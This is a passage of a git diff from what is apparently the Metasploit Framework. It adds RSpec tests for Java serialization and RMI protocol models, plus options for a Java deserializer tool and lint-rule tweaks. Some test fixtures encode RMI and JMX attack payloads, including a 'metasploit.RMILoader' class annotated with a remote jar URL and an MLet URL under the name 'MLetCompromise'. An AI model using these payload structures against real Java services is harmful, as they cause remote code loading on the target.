"\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + expect(stream.encode).to eq(rmi_call) + end + end + + context "when serializing a MBeanServerConnection.getObjectInstance call data" do + it "serializes the stream correctly" do + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03" + block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + expect(stream.encode).to eq(mbean_call) + + end + end + + context "when serializing a marshalled argument" do + it "serializes the stream correctly" do + stream = Rex::Java::Serialization::Model::Stream.new + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') + new_array_class_desc.serial_version = 0x90ce589f1073296c + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.Object;' + new_array.values = [ + Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet') + ] + + stream.contents << new_array + + expect(stream.encode).to eq(marshalled_argument) + end + end + end end \ No newline at end of file diff --git a/spec/lib/rex/proto/rmi/model/call_spec.rb b/spec/lib/rex/proto/rmi/model/call_spec.rb new file mode 100644 index 0000000000..7199140549 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/call_spec.rb @@ -0,0 +1,70 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::Call do + + subject(:call) do + described_class.new + end + + let(:call_message) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + + "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" + + "\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" + + "\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" + + "\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" + + "\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" + + "\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" + + "\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" + + "\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" + + "\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" + + "\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" + + "\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" + + "\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" + + "\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" + + "\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" + + "\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" + + "\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" + + "\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" + + "\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" + + "\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" + + "\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" + + "\x62\xc1\xc0" + end + + let(:call_message_io) { StringIO.new(call_message) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Call decoded" do + expect(call.decode(call_message_io)).to eq(call) + end + + it "decodes message id correctly" do + call.decode(call_message_io) + expect(call.message_id).to eq(Rex::Proto::Rmi::Model::CALL_MESSAGE) + end + + it "decodes the call data correctly" do + call.decode(call_message_io) + expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + describe "#encode" do + it "re-encodes a Call message correctly" do + call.decode(call_message_io) + expect(call.encode).to eq(call_message) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/continuation_spec.rb b/spec/lib/rex/proto/rmi/model/continuation_spec.rb new file mode 100644 index 0000000000..dc3b1cefd2 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/continuation_spec.rb @@ -0,0 +1,50 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::Continuation do + + subject(:continuation) do + described_class.new + end + + let(:sample) do + "\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32" + + "\x00\x00\x00\x00" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Continuation decoded" do + expect(continuation.decode(sample_io)).to eq(continuation) + end + + it "decodes length correctly" do + continuation.decode(sample_io) + expect(continuation.length).to eq(14) + end + + it "decodes address correctly" do + continuation.decode(sample_io) + expect(continuation.address).to eq('172.16.158.132') + end + + it "decodes port correctly" do + continuation.decode(sample_io) + expect(continuation.port).to eq(0) + end + end + + describe "#encode" do + it "encodes the Continuation correctly" do + continuation.address = '172.16.158.132' + continuation.length = continuation.address.length + continuation.port = 0 + + expect(continuation.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb new file mode 100644 index 0000000000..45163f172e --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb @@ -0,0 +1,43 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::DgcAck do + + subject(:dgc_ack) do + described_class.new + end + + let(:sample) do + "\x54\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::DgcAck decoded" do + expect(dgc_ack.decode(sample_io)).to eq(dgc_ack) + end + + it "decodes stream_id correctly" do + dgc_ack.decode(sample_io) + expect(dgc_ack.stream_id).to eq(Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE) + end + + it "decodes address correctly" do + dgc_ack.decode(sample_io) + expect(dgc_ack.unique_identifier).to eq("\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17") + end + end + + describe "#encode" do + it "encodes the DbgAck correctly" do + dgc_ack.stream_id = Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + dgc_ack.unique_identifier = "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x17" + + expect(dgc_ack.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/output_header_spec.rb b/spec/lib/rex/proto/rmi/model/output_header_spec.rb new file mode 100644 index 0000000000..f130f5d9fb --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/output_header_spec.rb @@ -0,0 +1,62 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::OutputHeader do + + subject(:output_header) do + described_class.new + end + + let(:stream_protocol) do + "\x4a\x52\x4d\x49\x00\x02\x4b" + end + + let(:stream_protocol_io) { StringIO.new(stream_protocol) } + + describe "#decode" do + context "when Stream Protocol" do + it "returns the Rex::Proto::Rmi::Model::OutputHeader decoded" do + expect(output_header.decode(stream_protocol_io)).to eq(output_header) + end + + it "decodes signature correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.signature).to eq(Rex::Proto::Rmi::Model::SIGNATURE) + end + + it "decodes version correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.version).to eq(2) + end + + it "decodes protocol correctly" do + output_header.decode(stream_protocol_io) + expect(output_header.protocol).to eq(Rex::Proto::Rmi::Model::STREAM_PROTOCOL) + end + end + end + + describe "#encode" do + context "when Stream Protocol" do + it "encodes the OutputHeader correctly" do + output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_header.version = 2 + output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_header.encode).to eq(stream_protocol) + end + end + + context "when version field missed" do + it "doesn't encodes the version" do + output_header.signature = Rex::Proto::Rmi::Model::SIGNATURE + output_header.protocol = Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + expect(output_header.encode).to eq("\x4a\x52\x4d\x49\x4b") + end + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb new file mode 100644 index 0000000000..60223f039c --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb @@ -0,0 +1,37 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::PingAck do + + subject(:ping_ack) do + described_class.new + end + + let(:sample) do + "\x53" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::PingAck decoded" do + expect(ping_ack.decode(sample_io)).to eq(ping_ack) + end + + it "decodes stream_id correctly" do + ping_ack.decode(sample_io) + expect(ping_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PING_ACK) + end + end + + describe "#encode" do + it "encodes the PingAck correctly" do + ping_ack.stream_id = Rex::Proto::Rmi::Model::PING_ACK + expect(ping_ack.encode).to eq(sample) + end + end +end + diff --git a/spec/lib/rex/proto/rmi/model/ping_spec.rb b/spec/lib/rex/proto/rmi/model/ping_spec.rb new file mode 100644 index 0000000000..732bc61d78 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/ping_spec.rb @@ -0,0 +1,36 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::Ping do + + subject(:ping) do + described_class.new + end + + let(:sample) do + "\x52" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::Ping decoded" do + expect(ping.decode(sample_io)).to eq(ping) + end + + it "decodes stream_id correctly" do + ping.decode(sample_io) + expect(ping.stream_id).to eq(Rex::Proto::Rmi::Model::PING_MESSAGE) + end + end + + describe "#encode" do + it "encodes the Ping correctly" do + ping.stream_id = Rex::Proto::Rmi::Model::PING_MESSAGE + expect(ping.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb new file mode 100644 index 0000000000..7451d0c4a3 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb @@ -0,0 +1,56 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' + +describe Rex::Proto::Rmi::Model::ProtocolAck do + + subject(:protocol_ack) do + described_class.new + end + + let(:sample) do + "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33" + + "\x32\x00\x00\x06\xea" + end + + let(:sample_io) { StringIO.new(sample) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ProtocolAck decoded" do + expect(protocol_ack.decode(sample_io)).to eq(protocol_ack) + end + + it "decodes stream_id correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.stream_id).to eq(Rex::Proto::Rmi::Model::PROTOCOL_ACK) + end + + it "decodes length correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.length).to eq(14) + end + + it "decodes address correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.address).to eq('172.16.158.132') + end + + it "decodes port correctly" do + protocol_ack.decode(sample_io) + expect(protocol_ack.port).to eq(1770) + end + end + + describe "#encode" do + it "encodes the OutputHeader correctly" do + protocol_ack.stream_id = Rex::Proto::Rmi::Model::PROTOCOL_ACK + protocol_ack.address = '172.16.158.132' + protocol_ack.length = protocol_ack.address.length + protocol_ack.port = 1770 + + expect(protocol_ack.encode).to eq(sample) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/return_data_spec.rb b/spec/lib/rex/proto/rmi/model/return_data_spec.rb new file mode 100644 index 0000000000..4511f3d618 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/return_data_spec.rb @@ -0,0 +1,59 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::ReturnData do + + subject(:return_data) do + described_class.new + end + + let(:return_stream) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + + let(:return_stream_io) { StringIO.new(return_stream) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ReturnData decoded" do + expect(return_data.decode(return_stream_io)).to eq(return_data) + end + + it "decodes message id correctly" do + return_data.decode(return_stream_io) + expect(return_data.stream_id).to eq(Rex::Proto::Rmi::Model::RETURN_DATA) + end + + it "decodes the return data correctly" do + return_data.decode(return_stream_io) + expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + describe "#encode" do + it "re-encodes a ReturnData stream correctly" do + return_data.decode(return_stream_io) + expect(return_data.encode).to eq(return_stream) + end + end +end diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb index 26fc141bee..ada6d79415 100644 --- a/spec/tools/java_deserializer_spec.rb +++ b/spec/tools/java_deserializer_spec.rb @@ -47,14 +47,32 @@ describe JavaDeserializer do end context "when file contains a valid stream" do - it "prints the stream contents" do - expect(File).to receive(:new) do - contents = valid_stream - StringIO.new(contents) + before(:each) do + $stdout.string = '' + end + + context "when no options" do + it "prints the stream contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run + expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') + end + end + + context "when :array in options" do + it "prints the array contents" do + expect(File).to receive(:new) do + contents = valid_stream + StringIO.new(contents) + end + deserializer.file = 'sample' + deserializer.run({:array => '0'}) + expect($stdout.string).to include('Array Type: char') end - deserializer.file = 'sample' - deserializer.run - expect($stdout.string).to include('[7e0001] NewArray { char, ["97", "98"] }') end end @@ -69,6 +87,5 @@ describe JavaDeserializer do expect($stdout.string).to include('[-] Failed to unserialize Stream') end end - end end \ No newline at end of file diff --git a/tools/java_deserializer.rb b/tools/java_deserializer.rb index b78d2a3cf3..3c4ffb69dc 100755 --- a/tools/java_deserializer.rb +++ b/tools/java_deserializer.rb @@ -13,6 +13,7 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', 'lib'))) require 'rex/java/serialization' require 'pp' +require 'optparse' # This class allows to deserialize Java Streams from # files @@ -31,7 +32,7 @@ class JavaDeserializer # # @return [Rex::Java::Serialization::Model::Stream] if succeeds # @return [nil] if error - def run + def run(options = {}) if file.nil? print_error("file path with serialized java stream required") return @@ -49,7 +50,13 @@ class JavaDeserializer return end - puts stream + if options[:array] + print_array(stream.contents[options[:array].to_i]) + elsif options[:object] + print_object(stream.contents[options[:object].to_i]) + else + puts stream + end end private @@ -75,9 +82,87 @@ class JavaDeserializer def print_line $stdout.puts("\n") end + + # @param [Rex::Java::Serialization::Model::NewObject] obj the object to print + # @param [Fixnum] level the indentation level when printing super classes + def print_object(obj, level = 0) + prefix = " " * level + if obj.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc + puts "#{prefix}Object Class Description:" + print_class(obj.class_desc.description, level + 1) + else + puts "#{prefix}Object Class Description: #{obj.class_desc.description}" + end + puts "#{prefix}Object Data: #{obj.class_data}" + end + + # @param [Rex::Java::Serialization::Model::NewClassDesc] c the class to print + # @param [Fixnum] level the indentation level when printing super classes + def print_class(c, level = 0) + prefix = " " * level + puts "#{prefix}Class Name: #{c.class_name}" + puts "#{prefix}Serial Version: #{c.serial_version}" + puts "#{prefix}Flags: #{c.flags}" + puts "#{prefix}Fields ##{c.fields.length}" + c.fields.each do |f| + puts "#{prefix}Field: #{f}" + end + puts "#{prefix}Class Annotations ##{c.class_annotation.contents.length}" + c.class_annotation.contents.each do |c| + puts "#{prefix}Annotation: #{c}" + end + puts "#{prefix}Super Class: #{c.super_class}" + if c.super_class.description.class == Rex::Java::Serialization::Model::NewClassDesc + print_class(c.super_class.description, level + 1) + end + end + + # @param [Rex::Java::Serialization::Model::NewArray] arr the array to print + # @param [Fixnum] level the indentation level when printing super classes + def print_array(arr, level = 0) + prefix = " " * level + if arr.array_description.description.class == Rex::Java::Serialization::Model::NewClassDesc + puts "#{prefix}Array Description" + print_class(arr.array_description.description, 1) + else + puts "#{prefix}Array Description: #{arr.array_description.description}" + end + puts "#{prefix}Array Type: #{arr.type}" + puts "#{prefix}Array Values ##{arr.values.length}" + arr.values.each do |v| + puts "Array value: #{prefix}#{v} (#{v.class})" + if v.class == Rex::Java::Serialization::Model::NewObject + print_object(v, level + 1) + end + end + end end if __FILE__ == $PROGRAM_NAME + + options = {} + OptionParser.new do |opts| + opts.banner = "Usage: java_deserializer.rb [option]" + + opts.on("-aID", "--array=ID", "Print detailed information about content array") do |id| + options[:array] = id + end + + opts.on("-oID", "--object=ID", "Print detailed information about content object") do |id| + options[:object] = id + end + + opts.on("-h", "--help", "Prints this help") do + puts opts + exit + end + end.parse! + + if options.length > 1 + $stdout.puts "[-] Don't provide more than one option" + exit + end + deserializer = JavaDeserializer.new(ARGV[0]) - deserializer.run + deserializer.run(options) end diff --git a/tools/msftidy.rb b/tools/msftidy.rb index c6ec4fb8cf..74777c704a 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -523,7 +523,7 @@ class Msftidy end # The rest of these only count if it's not a comment line - next if ln =~ /[[:space:]]*#/ + next if ln =~ /^[[:space:]]*#/ if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ next if ln =~ /^[\s]*["][^"]+\$std(?:out|err)/ @@ -531,14 +531,8 @@ class Msftidy error("Writes to stdout", idx) end - # You should not change datastore in code. See - # https://github.com/rapid7/metasploit-framework/issues/3853 - if ln =~ /(?])/ - info("datastore is modified in code with '#{Regexp.last_match(1)}': #{ln}", idx) - end - # do not read Set-Cookie header (ignore commented lines) - if ln =~ /^(?!\s*#).+\[['"]Set-Cookie['"]\]/i + if ln =~ /^(?!\s*#).+\[['"]Set-Cookie['"]\](?!\s*=[^=~]+)/i warn("Do not read Set-Cookie header directly, use res.get_cookies instead: #{ln}", idx) end @@ -547,7 +541,7 @@ class Msftidy warn("Auxiliary modules have no 'Rank': #{ln}", idx) end - if ln =~ /^\s*def\s+(?:[^\(\)]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/ + if ln =~ /^\s*def\s+(?:[^\(\)#]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/ warn("Please use snake case on method names: #{ln}", idx) end end